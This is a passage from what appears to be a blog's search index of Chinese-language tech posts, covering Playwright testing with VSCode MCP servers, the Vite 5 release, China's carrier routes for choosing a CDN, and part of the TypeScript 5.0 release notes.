57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import { defineConfig } from \u0026#39;@playwright/test\u0026#39;; export default defineConfig({ testDir: \u0026#39;./tests\u0026#39;, // 測試檔案目錄 timeout: 30000, // 單一測試逾時（毫秒） retries: 1, // 測試失敗時重試次數 reporter: [[\u0026#39;list\u0026#39;], [\u0026#39;html\u0026#39;]], // 測試報告格式 fullyParallel: true, // 是否完全平行執行所有測試 forbidOnly: true, // 禁止 .only，避免漏跑測試 workers: 2, // 平行執行的 worker 數量 outputDir: \u0026#39;test-results/\u0026#39;, // 測試產生的快照、截圖、trace 等輸出目錄 testIgnore: [\u0026#39;**/skip/**\u0026#39;], // 忽略哪些測試檔案（glob pattern） testMatch: [\u0026#39;**/*.spec.ts\u0026#39;, \u0026#39;**/*.test.ts\u0026#39;], // 匹配哪些測試檔案（glob pattern） offline: false, // 是否離線模式（true | false） use: { headless: true, // 是否無頭模式 baseURL: \u0026#39;http://localhost:3000\u0026#39;, // 預設 base URL viewport: { width: 1280, height: 720, }, // 預設瀏覽器視窗大小 ignoreHTTPSErrors: true, // 忽略 HTTPS 錯誤 video: \u0026#39;retain-on-failure\u0026#39;, // 錄影設定: \u0026#39;on\u0026#39; | \u0026#39;off\u0026#39; | \u0026#39;retain-on-failure\u0026#39; screenshot: \u0026#39;only-on-failure\u0026#39;, // 截圖設定: \u0026#39;on\u0026#39; | \u0026#39;off\u0026#39; | \u0026#39;only-on-failure\u0026#39; trace: \u0026#39;retain-on-failure\u0026#39;, // Trace 記錄: \u0026#39;on\u0026#39; | \u0026#39;off\u0026#39; | \u0026#39;retain-on-failure\u0026#39; storageState: \u0026#39;state.json\u0026#39;, // 預載入登入狀態檔 locale: \u0026#39;zh-TW\u0026#39;, // 預設語系 colorScheme: \u0026#39;dark\u0026#39;, // 顏色主題: \u0026#39;light\u0026#39; | \u0026#39;dark\u0026#39; | \u0026#39;no-preference\u0026#39; permissions: [ \u0026#39;geolocation\u0026#39;, \u0026#39;notifications\u0026#39;, ], // 權限設定 geolocation: { latitude: 25.033, longitude: 121.5654, }, // 預設地理位置 timezoneId: \u0026#39;Asia/Taipei\u0026#39;, // 預設時區 userAgent: \u0026#39;MyCustomAgent/1.0\u0026#39;, // 自訂 User-Agent httpCredentials: { username: \u0026#39;user\u0026#39;, password: \u0026#39;pass\u0026#39;, }, // HTTP 基本認證 extraHTTPHeaders: { \u0026#39;x-test-header\u0026#39;: \u0026#39;test\u0026#39;, \u0026#39;authorization\u0026#39;: \u0026#39;Bearer token\u0026#39;, }, // 額外 HTTP 標頭 acceptDownloads: true, // 是否允許下載檔案 isMobile: false, // 是否模擬行動裝置（true | false） deviceScaleFactor: 1, // 裝置像素比例（預設 1） hasTouch: false, // 是否支援觸控（true | false） javaScriptEnabled: true, // 是否啟用 JS（true | false） recordVideo: { dir: \u0026#39;videos/\u0026#39;, size: { width: 1280, height: 720 }, }, // 錄影輸出目錄與尺寸 serviceWorkers: \u0026#39;allow\u0026#39;, // Service Worker 設定: \u0026#39;allow\u0026#39; | \u0026#39;block\u0026#39; strictSelectors: true, // 是否嚴格選取器（true | false） userDataDir: \u0026#39;./user-data\u0026#39;, // 使用者資料目錄 launchOptions: { slowMo: 100, // 其他啟動選項可加在這裡 }, // 啟動瀏覽器時的額外選項 }, projects: [ // 多瀏覽器/多環境測試設定 { name: \u0026#39;chromium\u0026#39;, use: { browserName: \u0026#39;chromium\u0026#39; }, }, { name: \u0026#39;firefox\u0026#39;, use: { browserName: \u0026#39;firefox\u0026#39; }, }, { name: \u0026#39;webkit\u0026#39;, use: { browserName: \u0026#39;webkit\u0026#39; }, }, ], globalSetup: \u0026#39;./global-setup.js\u0026#39;, // 全域初始化腳本 globalTeardown: \u0026#39;./global-teardown.js\u0026#39;, // 全域清理腳本 }); 更多請參考官方文件\n常用元件與方法 類型 名稱/方法 說明 測試物件 test 定義測試案例 頁面物件 page 操作瀏覽器分頁 斷言 expect 驗證結果 定位器 locator 精準選取元素 填值 fill 填入表單欄位 點擊 click 點擊按鈕或元素 取得文字 textContent 取得元素文字內容 等待 waitForSelector 等待元素出現 螢幕截圖 screenshot 擷取頁面或元素畫面 輸入鍵盤 keyboard 鍵盤事件 輸入滑鼠 mouse 滑鼠事件 請求物件 request API 請求測試 瀏覽器物件 browser 控制瀏覽器（多分頁、多瀏覽器） 配置 defineConfig Playwright 設定檔 錯誤截圖 trace 錯誤追蹤與錄影 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 // 定義測試案例 test test(\u0026#39;首頁載入\u0026#39;, async ({ page }) =\u0026gt; { await page.goto(\u0026#39;https://example.com\u0026#39;); }); // 操作瀏覽器分頁 page await page.goto(\u0026#39;https://example.com\u0026#39;); // 驗證結果 expect await expect(page).toHaveURL(\u0026#39;https://example.com\u0026#39;); // 精準選取元素 locator const btn = page.locator(\u0026#39;button.login\u0026#39;); // 填入表單欄位 fill await page.fill(\u0026#39;input[name=\u0026#34;username\u0026#34;]\u0026#39;, \u0026#39;wayne\u0026#39;); // 點擊按鈕或元素 click await page.click(\u0026#39;button[type=\u0026#34;submit\u0026#34;]\u0026#39;); // 取得元素文字內容 textContent const txt = await page.textContent(\u0026#39;.user-info\u0026#39;); // 等待元素出現 waitForSelector await page.waitForSelector(\u0026#39;.loading-done\u0026#39;); // 擷取頁面或元素畫面 screenshot await page.screenshot({ path: \u0026#39;home.png\u0026#39; }); // 鍵盤事件 keyboard await page.keyboard.press(\u0026#39;Enter\u0026#39;); // 滑鼠事件 mouse await page.mouse.click(100, 200); // API 請求測試 request const res = await request.get(\u0026#39;/api/health\u0026#39;); // 控制瀏覽器 browser const browser = await chromium.launch(); // Playwright 設定檔 defineConfig export default defineConfig({ testDir: \u0026#39;./tests\u0026#39; }); // 錯誤追蹤與錄影 trace npx playwright show-trace trace.zip 更多元件與 API 可參考 Playwright 官方文件\n實戰一：自動化測試 API healthz check 建立 MCP Server 專案（Node.js/TypeScript） 在 extension 內啟動 MCP Server，並與前端溝通 撰寫 Playwright 測試腳本，模擬 VSCode extension 與 MCP Server 的互動 1 2 3 4 5 6 7 8 9 // playwright.config.ts import { defineConfig } from \u0026#39;@playwright/test\u0026#39;; export default defineConfig({ testDir: \u0026#39;./tests\u0026#39;, use: { headless: true, baseURL: \u0026#39;http://localhost:3000\u0026#39;, }, }); 1 2 3 4 5 6 // tests/mcp-server.spec.ts import { test, expect } from \u0026#39;@playwright/test\u0026#39;; test(\u0026#39;MCP Server health check\u0026#39;, async ({ request }) =\u0026gt; { const res = await request.get(\u0026#39;/health\u0026#39;); expect(res.ok()).toBeTruthy(); }); 實戰二：Playwright 自動化流程範例 以下以我自己的專案的登入流程自動化測試為例 透過打開我的網站登入頁，並輸入帳號與密碼後進行登入，登入後檢查頁面上是否存在「Dashboard」字樣(因我的網站登入後會導向到 Dashboard 頁面)。\ntests/login.spec.ts 1 2 3 4 5 6 7 8 9 10 11 import { test, expect } from \u0026#39;@playwright/test\u0026#39;; test(\u0026#39;登入流程測試\u0026#39;, async ({ page }) =\u0026gt; { await page.goto(\u0026#39;https://{我的網站}/\u0026#39;); await page.fill(\u0026#39;input[name=\u0026#34;username\u0026#34;]\u0026#39;, \u0026#39;wayne\u0026#39;); await page.fill(\u0026#39;input[name=\u0026#34;password\u0026#34;]\u0026#39;, \u0026#39;123456\u0026#39;); await page.click(\u0026#39;button[type=\u0026#34;submit\u0026#34;]\u0026#39;); // 驗證是否登入成功 await expect(page).toHaveURL(/dashboard|home/); await expect(page.locator(\u0026#39;.user-info\u0026#39;)).toContainText(\u0026#39;wayne\u0026#39;); }); 封裝成一個 helper 好了：\nlogin-helper.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import { chromium, Page } from \u0026#34;@playwright/test\u0026#34; export async function doLogin(page: Page, saveStorageStatePath?: string) { await page.goto(\u0026#34;https://{我的網站}/\u0026#34;) await page.fill(\u0026#39;input[name=\u0026#34;username\u0026#34;], input[placeholder=\u0026#34;帳號\u0026#34;], input[type=\u0026#34;text\u0026#34;]\u0026#39;, \u0026#34;wayne\u0026#34;) await page.fill(\u0026#39;input[name=\u0026#34;password\u0026#34;], input[placeholder=\u0026#34;密碼\u0026#34;], input[type=\u0026#34;password\u0026#34;]\u0026#39;, \u0026#34;123456\u0026#34;) await page.click(\u0026#39;button[type=\u0026#34;button\u0026#34;]\u0026#39;) await page.waitForSelector(\u0026#34;text=Dashboard\u0026#34;) if (saveStorageStatePath) { await page.context().storageState({ path: saveStorageStatePath }) } } // 若直接執行本檔案，則自動產生 storageState.json if (require.main === module) { ;(async () =\u0026gt; { const browser = await chromium.launch() const page = await browser.newPage() await doLogin(page, \u0026#34;playwright/storageState.json\u0026#34;) await browser.close() })() } 延伸製作一個 登入並切換語系 的自動化測試腳本：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import { test, expect } from \u0026#34;@playwright/test\u0026#34; import { doLogin } from \u0026#34;./login-helper\u0026#34; test(\u0026#34;測試登入流程與切換語系功能\u0026#34;, async ({ page }) =\u0026gt; { await test.step(\u0026#34;測試登入流程環節\u0026#34;, async () =\u0026gt; { await doLogin(page) await page.waitForTimeout(1000) await page.screenshot({ path: \u0026#34;debug-login.png\u0026#34; }) await expect(page.locator(\u0026#34;text=Dashboard\u0026#34;).first()).toBeVisible() }) await test.step(\u0026#34;測試切換語系為简体中文\u0026#34;, async () =\u0026gt; { await page.locator(\u0026#34;#btn-lang\u0026#34;).hover() await page.locator(\u0026#34;.v-list-item-title\u0026#34;, { hasText: \u0026#34;简体中文\u0026#34; }).click() // 驗證文字是否變成簡體中文了 await expect(page.locator(\u0026#34;text=仪表板\u0026#34;).first()).toBeVisible() }) await test.step(\u0026#34;測試切換語系為英文\u0026#34;, async () =\u0026gt; { await page.locator(\u0026#34;#btn-lang\u0026#34;).hover() await page.locator(\u0026#34;.v-list-item-title\u0026#34;, { hasText: \u0026#34;English\u0026#34; }).click() // 驗證文字是否變成英文了 await expect(page.locator(\u0026#34;text=Dashboard\u0026#34;).first()).toBeVisible() }) await test.step(\u0026#34;測試切換語系為繁體中文\u0026#34;, async () =\u0026gt; { await page.locator(\u0026#34;#btn-lang\u0026#34;).hover() await page.locator(\u0026#34;.v-list-item-title\u0026#34;, { hasText: \u0026#34;繁體中文\u0026#34; }).click() // 驗證文字是否變成繁體中文了 await expect(page.locator(\u0026#34;text=儀錶板\u0026#34;).first()).toBeVisible() }) }) 實戰三：Playwright 串聯 Vitest UI 跑單元測試 串聯一下之前在闡述單元測試、元件測試，並學習在自己的 Vue3 專案中加入 Vitest！，自己撰寫的 Utils tools function 的單元測試好了，讓自己後續可以直接打打字，讓 Agent 幫我跑這些單元測試(工程師沒有最懶，只有更懶)。\ntest-tools-unit.spec.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import { test, expect } from \u0026#34;@playwright/test\u0026#34; test(\u0026#34;執行 tools.test.ts 所有 Vitest 單元測試\u0026#34;, async ({ page }) =\u0026gt; { // 檢查 Vitest UI 服務 try { const response = await page.goto(\u0026#34;http://localhost:51204/__vitest__/\u0026#34;) if (!response || !response.ok()) { throw new Error(\u0026#34;Vitest UI 服務未啟動或無法連線，請先執行 npx vitest --ui\u0026#34;) } } catch (e) { throw new Error(\u0026#34;Vitest UI 服務未啟動或無法連線，請先執行 npx vitest --ui\u0026#34;) } // 搜尋 tools.test.ts await page.fill(\u0026#39;input[placeholder=\u0026#34;Search...\u0026#34;]\u0026#39;, \u0026#34;tools.test\u0026#34;) await page.keyboard.press(\u0026#34;Enter\u0026#34;) // 點擊 tools.test.ts 測試檔 await page.click(\u0026#34;text=tools.test.ts\u0026#34;) // 點擊 rerun file 按鈕 const rerunButton = await page.$(\u0026#39;button[title=\u0026#34;Rerun file\u0026#34;], button[aria-label=\u0026#34;Rerun file\u0026#34;]\u0026#39;) if (rerunButton) await rerunButton.click() // 等待測試進入 running 狀態 await page.waitForSelector(\u0026#34;text=Running\u0026#34;, { timeout: 10000 }).catch(() =\u0026gt; {}) // 等待 running 消失 await page.waitForSelector(\u0026#34;text=Running\u0026#34;, { state: \u0026#34;detached\u0026#34;, timeout: 60000 }).catch(() =\u0026gt; {}) // 等待「All tests passed in this file」出現以驗證單元測試是否通過 await page.waitForSelector(\u0026#34;text=All tests passed in this file\u0026#34;, { timeout: 20000 }) const successText = await page.textContent(\u0026#34;text=All tests passed in this file\u0026#34;) console.log(\u0026#34;測試摘要:\u0026#34;, successText) expect(successText).toContain(\u0026#34;All tests passed in this file\u0026#34;) }) ＊ 流程非常的彈性可控，且可以依照自己的需求去撰寫測試腳本，達到自動化測試的目的，以上就舉幾個較為單純的腳本內容，可以依各自業務需求去撰寫自己需要的腳本。\n＊ 若你的 VSCode 有開啟 chat.mcp.enabled，則可直接透過 VSCode Chat 的 Agent 模式進行即時的測試腳本撰寫與調試，加速完成你的測試項目腳本，甚至直接透過 Chat 來執行你的測試項目。\n＊ 可以在開發時，多在 DOM 上埋入 id、class，這樣當執行自動化驗證的操作時，可以更輕鬆的獲取到你所需要的元素，確保自動化測試流程的穩定與品質。\n開發心得與建議 MCP Server 架構彈性高，適合 AI/自動化/大型 extension。 建議在開發前端代碼時，在 DOM 上多埋入 id、class，方便 Playwright 定位元素，確保自動化測試流程的穩定與品質。 建議可以透過 VSCode Chat 的 Agent 模式進行即時的測試腳本撰寫與調試，記得 vscode 的settings 要開啟 chat.mcp.enabled。 Playwright 腳本可直接整合 CI，快速驗證功能。 建議在使用 VSCode 時，安裝 Playwright 的官方 extension，方便在 VSCode 內撰寫、執行測試腳本。 建議將 MCP Server、Playwright 測試與 extension 專案分層管理，方便維護。 Playwright 支援多瀏覽器測試，建議在 CI 中同時驗證 Chrome/Firefox/WebKit。 結語 VSCode MCP Servers 與 Playwright 的結合，讓 extension 開發與測試更現代化、流程自動化。推薦給有志於 VSCode 生態圈、AI 工具、測試自動化的開發者！\n如有相關問題，歡迎留言討論或參考官方文件。\n","date":"2025-08-30T00:00:00Z","image":"https://live.staticflickr.com/65535/54760153017_d732ffcc10_b.jpg","permalink":"https://blog.wayne-project.com/2025-08-30/vscode-mcp-servers-playwright/","title":"VSCode MCP Servers 與專案導入 Playwright 自動化測試分享"},{"content":" 原文\nVite 5 已經發布，這是 Vite 發展道路上又一個重要的里程碑，新版本採用 Rollup 4，大大的提升了構建性能；還帶來了一些新的選項，可用於提高開發服務器的性能。官方指出：Vite 5 的重點是清理已棄用的API，並精簡了幾個功能以解決長期存在的問題。例如將 define 轉換為使用正確的 AST 替換，而不是使用 regexes。團隊表示，他們將繼續推進實現面相未來的 Vite。\nNode.js 支持 Vite 不再支持已經 EOL 的 Node.js 14、16、17、19。現在需要 Node.js 18、20+。\n性能 除了 Rollup 4 的構建性能改進之外，這個新指南可以幫助用戶識別與修復常見性能問題。\nVite 5 還引入了 server.warmup，這是一個改善啟動時間的新功能。他允許妳定義應該在服務器啟動後立即進行預轉換的模塊列表。當使用 --open 或 server.open 時，Vite 還會自動預熱應用程序的 entry point 或所提供的 URL，以便打開。\n主要變化 Vite 現已由 Rollup 4 提供支持 棄用 CJS Node API 重新設計 define 和 import.meta.env.* 的替換策略 SSR 外部模組值現在符合 production 環境行為 worker.plugins 現在是一個函數 允許包含 . 的路徑回退到 index.html 協調開發和預覽 HTML serving 行為 現在預設在 .vite 目錄中產生 Manifest 文件 CLI 快捷鍵需要額外按下 Enter 鍵 更新 experimentalDecorators 和 useDefineForClassFields TypeScript 行為 移除 --https flag 和 https: true 移除 resolvePackageEntry 和 resolvePackageData API 移除之前已棄用的 API 了解更多有關影響插件和工具作者的高級更改信息 更多詳情可查看 Vite 5 Changelog。\n","date":"2023-11-22T00:00:00Z","image":"https://live.staticflickr.com/65535/53347857961_a81658c179_o.png","permalink":"https://blog.wayne-project.com/2023-11-22/vite-v5-announcing/","title":"Vite 5 正式發布"},{"content":" 參考網站\n原文\n為什麼我的網站在中國連線的這麼慢?\n對於很多開始在中國開展業務的業主來說，相信這是一個您會遇到的問題！\n或許在業務發展初期、人流量還很小的時候，您可能不會感受到網站延遲很高，網站開啟不易等等狀況，但是當您的網站成長到一定的階段的時候，您就會發現縱使在其他地方 (例如台灣、香港、甚至是歐美日) 或許可以正常的訪問，可能僅僅是慢一點而已，但是可能在中國大陸那邊的用戶來訪問就會非常緩慢，甚至是幾乎無法開啟。\n一般人面臨到這樣的問題或許會第一時間就以為自己的網站被防火城牆 (GFW) 給封鎖了，確實如果您的網站有部分當地法令的非法內容，那麼的確有可能發生被阻擋的情況，有可能不是被完全封鎖，而是間歇式的連不上，甚至完全正常的內容也有可能被針對，這部分確實是無法介入。\n但更多的情況其實是您的網站所使用的網路服務商對中國大陸的聯外線路品質的問題，這篇文章就僅就對中國市場的對外出海連線情況作出分析，暫時不考慮其他因素。\n面對大陸市場，進出的流量需要走特別的線路才會快 首先，最符合當地法令也是最穩定的方式當然就是為您的域名與網站申請 ICP 備案，很多域名註冊商、那裡的雲端服務商也都有能夠協助向工信部申請 ICP 的加值服務，如果通過後就可以正大光明的使用位於中國境內的 CDN 節點、伺服器、享有相對穩定的連線速度與品質。但申請需要提供很多材料，並且也未必能夠申請的過，以及需要耗費冗長的時間。\n因此還是就回到所謂的「免備案 CDN 加速」，只能夠把您的網站放在中國境外的伺服器與 CDN 節點，並且走最快速的路徑將數據傳遞至中國境內，這樣因為數據都不會使用到中國大陸境內的節點，因此就不用跟工信部申請 ICP 備案，以下我們將介紹幾條中國境內外連的線路和比較。\n目前中國撇開虛擬運營商 (例如 170/171 開頭的手機號、當二房東的有線業者等等，例如前身為鵬博士的長城寬帶，評價非常糟)，以及特殊用途的網路 (例如教育網、衛星通訊業者等等) 以外，主要的網路服務商其實也就由四家 : 移動、聯通、電信、廣電 所提供。\n其中中國廣電截至目前 (2023/06) 甚至連中國國內的骨幹網都還沒有建成，或是說目前中國廣電許多線路資源與 IP 段等等，在中國境內都還沒有整合，呈現各地區 (例如福建廣電、北京廣電) 四分五裂的情況。廣電到現在還有許多地方都是倚賴租用移動的基站訊號服務，境外線路更是只能倚賴前述三家運營商。根據那邊的網民的說法是，廣電在北方透過電信和聯通的線路出海，在南方則是透過移動的線路出海。\n因此，我們目前就只探討前三家，具備全國與出海骨幹網資質許可的移動、電信、聯通這三家與其出口的線路情況，目前在所有手機行動上網和家庭寬頻綜合下來的市占率，大約是移動 53 : 電信 28 : 聯通 19 這樣的比例。\n中國電信 以前互聯網最大的運營商，出口線路資源也最多。\n雖然現今中國最大的運營商是中國移動，畢竟從智慧型手機在 2014 年開始發展的時候，上網的習慣已經從家用寬帶演變成主力是行動網路了，但考量到全國等級的骨幹網與出海線路這種被視為 「國家重點建設」 的項目，因此在上個世紀開始建設的中國電信自然掌握了最多的線路資源。\n目前中國電信在業界主要分成三條線路，分別是在上個世紀就建設的 163 網線路 : AS4134、以及較新的 CN2 線路 : AS4809、另外還有一個比較嶄新較少人知道的 CTGNet 線路 : AS23764，我們在下方會逐一解釋這些的差異。\n單就名字來看 163 線路就是最老的的一條，速度和品質應該大家可能會認為是最慢也最差的，確實這條線路因為有了至少 25 年，因此在至少 2021 以前，其出口的速度與品質一直都是為人詬病的，架構老舊加上使用者眾多一直是其短版。\n但在近期 163 線路也一直針對頻寬擴容、設備升級，加上其他所謂的 「精品線路」 使用的人數越來越多，所以其實 163 線路目前並不能夠說是最差的，甚至有時候的表現還更好，當然這也要看您對象的海外伺服器的 ISP peering 與路由的情況。\n要辨別是不是走 163 線路，原則上就是看 IP，如果去回都走 202.97..，那麼應該就是 163 線路。\n另外這裡附帶一提，202.97.. 和後面會提到的 CN2 用的 59.43.. 有些段是中國電信內部骨幹網用的 IP，可能沒有被公開 announce 出去，所以您去查有機率會查不到任何公開的 ASN、IRR、Peering 之類的資訊，用 mtr -z 只會看到 ASN 的欄位是 *，這裡再順便題外話一下。\nCN2 則是全名為 \u0026ldquo;China Telecom Next Generation Carrier Network\u0026rdquo; AS4809，聽起來就是比較厲害的感覺，翻譯成下一代承載網。確實這條線路在中國電信推出之初就是為了政企、大型重點企業實現聯外所部署的線路，因此在相關的費用上自然也是昂貴的，許多不管是海外進中國的免備案 CDN 服務加速商，或是專門賣給大陸用戶的 VPS 商都會特別強調自己用的是 CN2 這條線路。\n此外 CN2 還有分成 CN2 GT 和 CN2 GIA，差別在於 CN2 GT 在中國大陸境內會走跟 163 一樣的 202.97.. 路由，只有進出中國的時候才會走 59.43.. 的路由，屬於相對低階一些的線路，而 CN2 GIA 則是全程都走 59.43.. 的路由，理論上是速度最快且最穩定的。\n另外還有一個比較少人提到的 CTGNet 線路，這條線路的 AS 編號是 AS23764，全名是中國電信國際 (China Telecom Global)，CTGNet GIA 大約是介於 CN2 GT 與 CN2 GIA 的品質，主要進出口都是走 59.43.. 的路由，但進到國內骨幹網則是在 59.43.. 幾跳後就改走 163 的 202.97.. 路由。\n相較於 CN2 GIA 到中國大省省級的路由都是 59.43，以及 GT 只有在出關那一段才走 59.43，其餘都是 202.97 的情況來看應該是介於兩者之間，當然根據資料也有走全 CN2 或是走全部 163 的方案，具體看您的服務商怎麼簽約。\n會有這個主要是在 2021 年以後海外的 IDC、線路業者要購買與 CN2 GIA 的大頻寬連接合約都需要經過中國電信嚴格的審批，這項改動的原因不明，但個人推測有可能是受到大量放置非法資源的 CDN 與 VPS 商幾乎都透過 CN2 直連回國內，造成相關單位的不堪其擾與注意到，也有可能是受到這三年的互聯網爆炸性成長，CN2 GIA 可賣的頻寬容量開始不足，所以其實目前越來越多這部分的供應商其實供應的都是 CGTNet GIA。\n當然 CN2 是不是最好的? 不可否認在 2021 以前確實他是最好的線路，與 163 幾乎是天壤之別，但 2021 年開始中國電信針對老舊的 163 網進行了大幅的升級與擴充，以及 CN2 開始越來越多人在用。因此有時候其實 163 的線路品質未必是最差的，CN2 也未必是一定比較好的，還要考慮到兩者的明顯價差，建議不管業者如何聲稱或是不管走哪條線路，都以自己實際測試的數據為主來作為簽約的依據。\n中國聯通 頻寬資源雖不及電信，但人少就是他的優勢。\n中國聯通目前是第三大的運營商，如果你以前有在中國的網站下載一些較大的資源，您可能會記得比較大的下載站都會有提供兩個載點，分別是 「電信下載」 和 「網通下載」，如果在台灣通常會選電信，因為電信主要的勢力範圍以大陸南方居多，現在聯通的前身主要就是由專注於固網的網通 (主要線路資源在北方)，與當年專注於手機行動業務的聯通所結合，因此自然保有當年網通的相關線路資源。\n聯通與電信在出口方面一樣也分成比較舊的 169 網 AS4837 (對標電信的 163 網)，以及比較高級的 AS9929 線路 (大家都會直稱聯通 9929)，另外 9929 也分成僅 9929 出口和 9929 接 AS10099 (中國聯通國際的) 的線路，俗成 CU Premium，但在中國國內都會有部分走 4837，與 CN2 GIA 可能只有一跳走 AS4134，其他幾乎都是 AS 4809 還是有些差異。\n聯通的基礎其實比電信相對差一些，但是因為用戶不多 (如同前述的市占率)，因此聯通 9929 \u0026gt; 10099 (CU Premium) 也算是一條不錯的線路，具體對標電信大概是：\n聯通 169 網 (AS4837) - 電信 163 網 (AS4134) 聯通 9929 網 (AS9929) - 電信 CN2 GT ~ 電信 CGTNet GIA 聯通 9929 + AS10099 - 電信 CN2 GIA 中國移動 市占率最高、出口表現一般。\n最後就是中國移動，中國移動雖然也有骨幹網等執照資質，目前主要就一條主要的出口線路 (AS58453) China Mobile International 簡稱 CMI。\n畢竟在 20 年前大家還沒有用手機上網的需求，從 2007 那時候 3G 才開始有一些比較簡單的 WAP 或彩信之類的上網業務，但是到最近 5 年來手機上網需求是爆發性的成長，因此在早期移動並沒有針對網路有大幅的建設，縱使合併了中國鐵通，但原先的線路資源還是不及電信和網通這兩家原本就起家的，雖然移動的相關線路都有不斷提升，但其實品質上加上人數的其實尖峰表現算是一般。\n另外中國移動還有所謂的 「移動牆」 的問題，雖然電信與聯通多少也有類似情況，但是移動是發生機率最高且最嚴重的，移動牆就是部分境外含有非法信息但沒有被 GFW 阻擋的網站，移動自己會透過各種手段進行阻擋，這個網站如果用電信或聯通上就沒問題。\n有推測是因為移動對外出口互聯很多都得走電信或聯通的線路，因為有不少海外站點只有接入電信或聯通的出口線路 (尤其以電信為主)，變成移動要付這兩家運營商帶寬費，因此自己進行阻擋多少可以省下這類的支出，由於網站有明確非法信息，你也無法跟工信部之類的有關部門來申訴。\n總之，CMI 算是一條不怎麼會卡，使用上也有一定水準的線路。\n中國出海加速總結 請選擇針對三網優化的免備案 CDN 廠商\n看完了上面這些帶有歷史淵源的故事和解釋，或許很多人會說那我的網站業務要怎麼加速呢？坦白說這部分針對客戶是使用不同的運營商，不同的省份甚至地區都會有所差異，目前來說也未必某一條線路就會是最好的。\n因此如果預算許可，選擇針對三網都有優化的 CDN 加速廠商會是最好且最有優勢的，專業的海外進中國加速的 CDN 廠商都會簽約多種不同的加速線路，並且有 24x7 的 NOC 團隊會針對線路進行監控與調整至最佳化的狀態，以及附帶許多額外的增值服務，例如抗 L3/L4/L7 DDoS、附贈 SSL 憑證這些。\n當然，如果您的規模較小並且只能選擇一條線路，那麼也是建議都先進行試用、PoC 的測試。正如同前面提到的，163 可能未必比起昂貴的 CN2 GIA 還要來得差到很多，值不值得特別使用 CN2 / CTGNet 其實是個需要考量的點，以及確認您主要的客戶省份再行簽約。\n","date":"2023-08-18T00:00:00Z","image":"https://live.staticflickr.com/65535/53124833740_368f414220_o.png","permalink":"https://blog.wayne-project.com/2023-08-18/cdn-in-china/","title":"淺談中國大陸的特別網路環境和 CDN 選擇"},{"content":" 原文\n參考網站\n此版本帶來了許多新功能，同時旨在使 TypeScript 更小、更簡單、更快。我們已經實施了新的裝飾器標準，添加了更好地支持 Node 和 bundlers 中的 ESM 項目的功能，為庫作者提供了控制泛型推理的新方法，擴展了我們的 JSDoc 功能，簡化了配置，並進行了許多其他改進。\n如果您已經熟悉 TypeScript，也不用擔心！5.0 不是破壞性版本，你所知道的一切仍然適用。雖然 TypeScript 5.0 包括正確性更改和一些不常用選項的棄用，但我們相信大多數開發人員都會有與以前版本類似的升級體驗。\n要開始使用 TypeScript 5.0，您可以通過 NuGet 獲取它，或者使用 npm 和下面的命令：\n1 npm install -D typescript 你也可以按照指示在 Visual Studio Code 中使用新版本的 TypeScript 的說明進行操作。\n以下 TypeScript 5.0 中新功能的快速列表！\n裝飾器 const 泛型參數 extends 支持多個配置文件 所有的枚舉都是聯合枚舉 --moduleResolution 配置新增 bundler 支持 自定義解析標誌 --verbatimModuleSyntax 支持 export type * JSDoc 支持 @satisfies JSDoc 支持 @overload 運行 tsc --build 可以傳入的新指令 編輯器中不區分大小寫的導入排序 switch/case 語法補足 速度、內存和包大小優化 重大更改和棄用 下一步是什麼？ 自 Beta 和 RC 以來有什麼新功能？ 自 beta 版 發布以來，TypeScript 5.0 有幾個顯著的變化。\n自 TypeScript 5.0 Beta 以來，一個新區別是 TypeScript 允許將裝飾器放置在 export 和 export default 之前或之後。這一變化反映了 TC39（ECMAScript/JavaScript 的標準機構）內部的討論和共識。\n另一個是新的 bundler 模塊解析選項只能在 --module 選項設置為 esnext 時使用。這樣做是為了確保在輸入文件中寫入的 import 語句不會在捆綁器解析它們之前轉換為 require 調用，無論捆綁器或加載器是否遵從 TypeScript 的 module 選項。我們還在這些發布說明中提供了一些上下文，建議大多數庫作者堅持使用 node16 or nodenext。\n雖然 TypeScript 5.0 Beta 附帶了此功能，但我們沒有記錄我們在編輯器場景中支持不區分大小寫的導入排序的工作。這部分是因為用於自定義的 UX 仍在討論中，但默認情況下，TypeScript 現在應該可以更好地與您的其他工具一起使用。\n自我們的 RC 以來，我們最顯著的變化是 TypeScript 5.0 現在在 package.json 中指定了 Node.js 的最低版本為 12.20。我們還發布了一篇關於 TypeScript 5.0 向 modules 遷移的文章，並提供了鏈接。\n自 TypeScript 5.0 Beta 和 RC 發布以來，速度基準和包大小增量的具體數字也進行了調整，儘管噪音一直是運行過程中的一個因素。為了清晰起見，還對一些基準的名稱進行了調整，包大小的改進也被移至單獨的圖表中。\n裝飾器 裝飾器是即將推出的 ECMAScript 功能，它允許我們以可重用的方式自定義類及其成員。\n讓我們思考以下代碼：\n1 2 3 4 5 6 7 8 9 10 11 12 13 class Person { name: string; constructor(name: string) { this.name = name; } ​ greet() { console.log(`Hello, my name is ${this.name}.`); } } const p = new Person(\u0026#34;Ron\u0026#34;); p.greet(); greet 這裡很簡單，但讓我們想像它更複雜——也許它執行一些異步邏輯，它是遞歸的，它有副作用\u0026hellip;等等。不管你想像的是哪種場景，假設你拋出了一些 console.log 調用來幫助調試 greet。\n1 2 3 4 5 6 7 8 9 10 11 12 class Person { name: string; constructor(name: string) { this.name = name; } greet() { console.log(\u0026#34;LOG: Entering method.\u0026#34;); console.log(`Hello, my name is ${this.name}.`); console.log(\u0026#34;LOG: Exiting method.\u0026#34;) } } 這種模式相當普遍。如果有一種方法我們可以為每種方法做到這一點，那就太好了！\n這就是裝飾器的用武之地。我們可以編寫一個 loggedMethod 的函數，如下所示：\n1 2 3 4 5 6 7 8 9 10 11 function loggedMethod(originalMethod: any, _context: any) { function replacementMethod(this: any, ...args: any[]) { console.log(\u0026#34;LOG: Entering method.\u0026#34;) const result = originalMethod.call(this, ...args); console.log(\u0026#34;LOG: Exiting method.\u0026#34;) return result; } return replacementMethod; } 輸出 \u0026ldquo;Entering\u0026hellip;\u0026rdquo; this 將其所有參數傳遞給原始方法 輸出 